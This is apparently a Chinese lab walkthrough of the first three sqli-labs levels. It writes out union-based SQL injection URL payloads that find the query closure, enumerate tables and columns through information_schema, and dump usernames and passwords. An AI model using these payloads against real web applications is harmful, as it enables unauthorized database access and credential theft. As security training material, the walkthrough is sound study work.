目录
一.第一关
1.打开页面观察一下

2.敲入?id=1在后面加上',"判断是个啥注入方式

3.报错了典型的单引号注入,顺着单引号注入开干!3没报错有三列,4报错了证明有最多有3列
/?id=-1 order by 3 %23
4. 查看一下他有哪些库和数据库版本
/?id=-1' union select 1,database(),version() %23

5.得到了数据库名字'security' 开始爆库
?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' %23

6.拿到了表名,开始爆表
?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users' %23
7.看到了username,password这俩就是目标了!开搞
?id=-1' union select 1,group_concat(username),group_concat(password) from users %23

二.第二关
1.观察一下

2.敲个?id=1'看看情况

3.根据这个回显可以判断这把不需要用'来闭合语句所以直接敲就行判断列

4.看数据库版本和有啥库
?id=-1 union select 1,version(),database() --+

5.爆库
?id=-1 union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema='security'

6.爆表
?id=-1 union select 1,version(),group_concat(column_name) from information_schema.columns where table_name='users'
7.爆列
?id=-1 union select 1,group_concat(username),group_concat(password) from users

三.第三关
使用id=1'查看一下闭合情况,发现是单引号加括号的闭合

所以加上')来闭合然后使用--+来注释后面的东西

然后就是和之前一样的判断爆库爆表爆列判回显点

本文详细介绍了SQL注入攻击的逐步深入,包括报错注入、盲注(如布尔盲注和时间盲注)的原理和实战技巧,以及如何利用updatexml等函数进行攻击,还涉及到了防护措施和搜索型注入的识别。
最低0.47元/天 解锁文章
591

被折叠的 条评论
为什么被折叠?



